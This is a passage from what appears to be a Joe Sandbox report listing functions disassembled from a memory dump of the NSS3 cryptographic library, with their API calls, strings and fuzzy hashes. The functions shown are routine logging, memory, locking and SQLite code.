Opcode Fuzzy Hash: 16e4b439d9f5cd419509c5adb506bd645bbf55e43ac8ade6b52be197e1299f55
Instruction Fuzzy Hash: 3731EA71A04B068BE720AF79C58836ABBE4AF05B98F450D2CD4D5C7740EF34E489CB92

Function 6CAE4DF0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6CAE536F,00000022,?,?,00000000,?), ref: 6CAE4E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6CAE4F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6CAE4F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6CAE4FAE
free.MOZGLUE(?), ref: 6CAE4FC8

Strings

%s=%s, xrefs: 6CAE4F89
%s=%c%s%c, xrefs: 6CAE4FA9

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s
API String ID: 2709355791-2032576422
Opcode ID: 039bd9dab85f8352f8044649370a98fea85c0974d12ba5e30fdbe9b14729bd0d
Instruction ID: 1c49af55a70ff4ec9b0085f221b5e61b7b9c79537bc67dd33ff463ef22c86eff
Opcode Fuzzy Hash: 039bd9dab85f8352f8044649370a98fea85c0974d12ba5e30fdbe9b14729bd0d
Instruction Fuzzy Hash: 00513931E452868BEB01CAEA84907FF7BFD9F4E708F1C8165E894A7A40D3359885A7D1

Function 6CA98CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6CAA124D,00000001), ref: 6CA98D19
EnterCriticalSection.KERNEL32(?,?,?,?,6CAA124D,00000001), ref: 6CA98D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6CAA124D,00000001), ref: 6CA98D73
PR_Unlock.NSS3(?,?,?,?,?,6CAA124D,00000001), ref: 6CA98D8C

Part of subcall function 6CB2DD70: TlsGetValue.KERNEL32 ref: 6CB2DD8C
Part of subcall function 6CB2DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CB2DDB4

PR_Unlock.NSS3(?,?,?,?,?,6CAA124D,00000001), ref: 6CA98DBA

Strings

KRAM, xrefs: 6CA98CF9
KRAM, xrefs: 6CA98D3E

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: 61c7b75e881af1aff91dffa28d878d2c36bfdf6273be22c47fe1f55b3363fbe5
Instruction ID: 486609d8c7794d2f2d15cc4c39b6b8943828d9e4175de8c66d6d9b82c524d1ad
Opcode Fuzzy Hash: 61c7b75e881af1aff91dffa28d878d2c36bfdf6273be22c47fe1f55b3363fbe5
Instruction Fuzzy Hash: EE21B2B5A14601CFDB00EF38C58566EB7F0FF45318F19896AD89887711EB34E885CB91

Function 6CABACC0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptFinal), ref: 6CABACE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CABAD14
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CABAD23

Part of subcall function 6CB9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CB9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CABAD39

Strings

(CK_INVALID_HANDLE), xrefs: 6CABAD1C
hSession = 0x%x, xrefs: 6CABACFE, 6CABAD0E
C_MessageDecryptFinal, xrefs: 6CABACE1

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptFinal
API String ID: 332880674-3521875567
Opcode ID: 50142b92030b4e7e0f9959a39d447e665399d8e22ca143b3d608566756c543bd
Instruction ID: 1936941dcef2d2a8f354898d9f423ebeb14e127e4dbe9df756e39e8d59166cef
Opcode Fuzzy Hash: 50142b92030b4e7e0f9959a39d447e665399d8e22ca143b3d608566756c543bd
Instruction Fuzzy Hash: FD214C346001989FDB40DB64ED88B6E337AEB4AB5AF044035E809A7711DF309D8CCB93

Function 6CABA550 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageEncryptFinal), ref: 6CABA576
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CABA5A4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CABA5B3

Part of subcall function 6CB9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CB9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CABA5C9

Strings

(CK_INVALID_HANDLE), xrefs: 6CABA5AC
hSession = 0x%x, xrefs: 6CABA58E, 6CABA59E
C_MessageEncryptFinal, xrefs: 6CABA571

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageEncryptFinal
API String ID: 332880674-1768899908
Opcode ID: fb3ae6982cdb81b9279aef144ad14fd59736b0dbfdab04062cca834e062b25c6
Instruction ID: 841cb0f3b19b19e530cc2e89ba30652e4736e80b0b3ca42934c68484601bc516
Opcode Fuzzy Hash: fb3ae6982cdb81b9279aef144ad14fd59736b0dbfdab04062cca834e062b25c6
Instruction Fuzzy Hash: ED213D706001859FDB409B64EE88BAE337AFB4AB59F044025E409A7A01DF349E8CCB93

Function 6CB90ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CB90EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CB90EFA

Part of subcall function 6CA7AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CA7AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB90F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB90F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB90F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB90F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6CB90ED9, 6CB90EE5, 6CB90F06, 6CB90F0B
Aborting, xrefs: 6CB90EB3

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: 5716102cef0c861407e56db1bb7e0574b4af58bdda9687cf8c2258e06782985f
Instruction ID: 30e542b8421a324d25f5f4307372d2b747f5fa6e0107a291645268f266fb4ee7
Opcode Fuzzy Hash: 5716102cef0c861407e56db1bb7e0574b4af58bdda9687cf8c2258e06782985f
Instruction Fuzzy Hash: 130180B6A00154BBDF01AFA8EC559AF3F3DEF4B264B104064FD0A97711D671EA5086A2

Function 6CB907B0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 60filestringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CA71FA7,WinDebug,00000000,00000001,?,6CA71FA7,00000000), ref: 6CB907BE
fopen.API-MS-WIN-CRT-STDIO-L1-1-0(6CA71FA7,6CBB843A,6CA71FA7,00000000), ref: 6CB907E0
setvbuf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000000,00000004,00000000), ref: 6CB907F6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000001,6CA71FA7,00000000), ref: 6CB90812
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CB90827
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CB9083F

Strings

WinDebug, xrefs: 6CB907B8

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: __acrt_iob_func$fclosefopensetvbufstrcmp
String ID: WinDebug
API String ID: 1416283249-2102910228
Opcode ID: 8360edf26384a0a7d2999066e0485468cbdb20b3eafe786d0c62cb1dd76fd507
Instruction ID: 60706be8b30a9877008275fe657b28f79f4e5234105c233de08250b3f28bceed
Opcode Fuzzy Hash: 8360edf26384a0a7d2999066e0485468cbdb20b3eafe786d0c62cb1dd76fd507
Instruction Fuzzy Hash: A411A972B011E09FEF405B289C4566E376CDB8769BF180134E819D7682EE61E85183E7

Function 6CB54D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CB54DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB54DE0

Strings

invalid, xrefs: 6CB54DB8
%s at line %d of [%.10s], xrefs: 6CB54DDA
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB54DCB
API call with %s database connection pointer, xrefs: 6CB54DBD
misuse, xrefs: 6CB54DD5

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 20a2bbc0a4750a82de3bf989ccd06b2710d1981761b36ac4f7b5418b46cec6fe
Instruction ID: 44e44e7f4b637b625f95345badeef5a5ddb88064cd194f76fa5d8bfb05e0c13c
Opcode Fuzzy Hash: 20a2bbc0a4750a82de3bf989ccd06b2710d1981761b36ac4f7b5418b46cec6fe
Instruction Fuzzy Hash: 56F0E029E145F42BD7014D16DD20FA637558F01339F9505E0FD0877EE2D6159C7447C2

Function 6CB54DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CB54E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB54E4D

Strings

invalid, xrefs: 6CB54E25
%s at line %d of [%.10s], xrefs: 6CB54E47
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB54E38
API call with %s database connection pointer, xrefs: 6CB54E2A
misuse, xrefs: 6CB54E42

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 499848d1442765108cc753ac7111c16823b8cb6091822f2c5980f8bd0823b030
Instruction ID: f9e3b475c03214893170884381bc8e9034759565e2f1a0be61a411c2cd233142
Opcode Fuzzy Hash: 499848d1442765108cc753ac7111c16823b8cb6091822f2c5980f8bd0823b030
Instruction Fuzzy Hash: 8EF09719F448E82BEA0808219D24F963389CB03339F8864A0EA0877E92CB1998B006D3

Function 6CAC0C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6CAC1444,?,00000001,?,00000000,00000000,?,?,6CAC1444,?,?,00000000,?,?), ref: 6CAC0CB3

Part of subcall function 6CB2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB2C2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CAC1444,?,00000001,?,00000000,00000000,?,?,6CAC1444,?), ref: 6CAC0DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6CAC1444,?,00000001,?,00000000,00000000,?,?,6CAC1444,?), ref: 6CAC0DEC

Part of subcall function 6CAE0F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CA82AF5,?,?,?,?,?,6CA80A1B,00000000), ref: 6CAE0F1A
Part of subcall function 6CAE0F10: malloc.MOZGLUE(00000001), ref: 6CAE0F30
Part of subcall function 6CAE0F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CAE0F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6CAC1444,?,00000001,?,00000000,00000000,?), ref: 6CAC0DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6CAC1444,?,00000001,?,00000000), ref: 6CAC0E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CAC1444,?,00000001,?,00000000,00000000,?), ref: 6CAC0E53
PR_GetCurrentThread.NSS3(?,?,?,?,6CAC1444,?,00000001,?,00000000,00000000,?,?,6CAC1444,?,?,00000000), ref: 6CAC0E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CAC1444,?,00000001,?,00000000,00000000,?), ref: 6CAC0E79

Part of subcall function 6CAD1560: TlsGetValue.KERNEL32(00000000,?,6CAA0844,?), ref: 6CAD157A
Part of subcall function 6CAD1560: EnterCriticalSection.KERNEL32(?,?,?,6CAA0844,?), ref: 6CAD158F
Part of subcall function 6CAD1560: PR_Unlock.NSS3(?,?,?,?,6CAA0844,?), ref: 6CAD15B2

Part of subcall function 6CA9B1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6CAA1397,00000000,?,6CA9CF93,5B5F5EC0,00000000,?,6CAA1397,?), ref: 6CA9B1CB
Part of subcall function 6CA9B1A0: free.MOZGLUE(5B5F5EC0,?,6CA9CF93,5B5F5EC0,00000000,?,6CAA1397,?), ref: 6CA9B1D2

Part of subcall function 6CA989E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6CA988AE,-00000008), ref: 6CA98A04
Part of subcall function 6CA989E0: EnterCriticalSection.KERNEL32(?), ref: 6CA98A15
Part of subcall function 6CA989E0: memset.VCRUNTIME140(6CA988AE,00000000,00000132), ref: 6CA98A27
Part of subcall function 6CA989E0: PR_Unlock.NSS3(?), ref: 6CA98A35

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: bf654f53ca3567be8124b05fbdec37db7cbf88cb5ea4214dd8d30b7d2d8565f1
Instruction ID: 2c38478056d9fa6fef2f9b305c33c5b5867f49d9bb226bb731bae47e5df22ab1
Opcode Fuzzy Hash: bf654f53ca3567be8124b05fbdec37db7cbf88cb5ea4214dd8d30b7d2d8565f1
Instruction Fuzzy Hash: 5A51B6F5E002016FEB019F64DD81ABF37B8AF05218F190064ED0997712FB21ED9987A3

Function 6CA8E6B0 Relevance: 12.2, APIs: 8, Instructions: 191memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,00000000,?,?,6CA904DC,?,?), ref: 6CA8E6C9

Part of subcall function 6CAE14C0: TlsGetValue.KERNEL32 ref: 6CAE14E0
Part of subcall function 6CAE14C0: EnterCriticalSection.KERNEL32 ref: 6CAE14F5
Part of subcall function 6CAE14C0: PR_Unlock.NSS3 ref: 6CAE150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000088,?,?,00000000,?,?,6CA904DC,?,?), ref: 6CA8E6D9

Part of subcall function 6CAE10C0: TlsGetValue.KERNEL32(?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE10F3
Part of subcall function 6CAE10C0: EnterCriticalSection.KERNEL32(?,?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE110C
Part of subcall function 6CAE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE1141
Part of subcall function 6CAE10C0: PR_Unlock.NSS3(?,?,?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE1182
Part of subcall function 6CAE10C0: TlsGetValue.KERNEL32(?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE119C

memset.VCRUNTIME140(00000000,00000000,00000088,?,?,?,?,00000000,?,?,6CA904DC,?,?), ref: 6CA8E6F4
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000000,00000004,00000000,?,?,?,?,?,?,?,00000000,?,?,6CA904DC,?), ref: 6CA8E703

Part of subcall function 6CADBE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CA8E708,00000000,00000000,00000004,00000000), ref: 6CADBE6A
Part of subcall function 6CADBE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CA904DC,?), ref: 6CADBE7E
Part of subcall function 6CADBE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CADBEC2

CERT_FindCertIssuer.NSS3(?,?,6CA904DC,0000000B,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CA8E71E

Part of subcall function 6CA8C870: PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,6CA82D1A), ref: 6CA8C919

Part of subcall function 6CA8E5E0: PORT_ArenaMark_Util.NSS3(?,00000000,00000000,00000000,?,6CA8E755,00000000,00000004,?,?), ref: 6CA8E5F5
Part of subcall function 6CA8E5E0: PR_SetError.NSS3(FFFFE005,00000000,?), ref: 6CA8E62C

CERT_DestroyCertificate.NSS3(?), ref: 6CA8E8AF

Part of subcall function 6CA8E5E0: SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000000,?), ref: 6CA8E63E
Part of subcall function 6CA8E5E0: PK11_HashBuf.NSS3(?,?,?,?,?,?,?,?), ref: 6CA8E65C
Part of subcall function 6CA8E5E0: SECITEM_ZfreeItem_Util.NSS3(00000000,00000000,?), ref: 6CA8E68E

SECITEM_CopyItem_Util.NSS3(00000000,-00000030,?), ref: 6CA8E89E

Part of subcall function 6CADFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CAD8D2D,?,00000000,?), ref: 6CADFB85
Part of subcall function 6CADFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CADFBB1

CERT_DestroyCertificate.NSS3(?), ref: 6CA8E885

Part of subcall function 6CA895B0: TlsGetValue.KERNEL32(00000000,?,6CAA00D2,00000000), ref: 6CA895D2
Part of subcall function 6CA895B0: EnterCriticalSection.KERNEL32(?,?,?,6CAA00D2,00000000), ref: 6CA895E7
Part of subcall function 6CA895B0: PR_Unlock.NSS3(?,?,?,?,6CAA00D2,00000000), ref: 6CA89605

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Util$ArenaItem_$Value$CopyCriticalEnterSectionUnlock$Alloc_CertificateDestroyErrorFindMark_$AlgorithmAllocAllocateCertHashIssuerK11_Tag_Zfreememcpymemset
String ID:
API String ID: 27740541-0
Opcode ID: ce4111715d991a8056b07cd50ea19643dfdd27059670d5731e2eebbb8610e0e7
Instruction ID: a32e19844fc7ae634dbfcc7aa61ca63ea843f4e1f6eb85a8150eb8b2abd88b6a
Opcode Fuzzy Hash: ce4111715d991a8056b07cd50ea19643dfdd27059670d5731e2eebbb8610e0e7
Instruction Fuzzy Hash: 67619FB5D016099BEB08DF54CD40AFEB7B8EF09304F044269ED156A781FB359A89CBE1

Function 6CA76E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6CA76ED8
sqlite3_value_text.NSS3(?,?), ref: 6CA76EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6CA76FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6CA76FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6CA76FF0
sqlite3_value_blob.NSS3(?,?), ref: 6CA77010
sqlite3_value_blob.NSS3(?,?), ref: 6CA7701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6CA77052

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
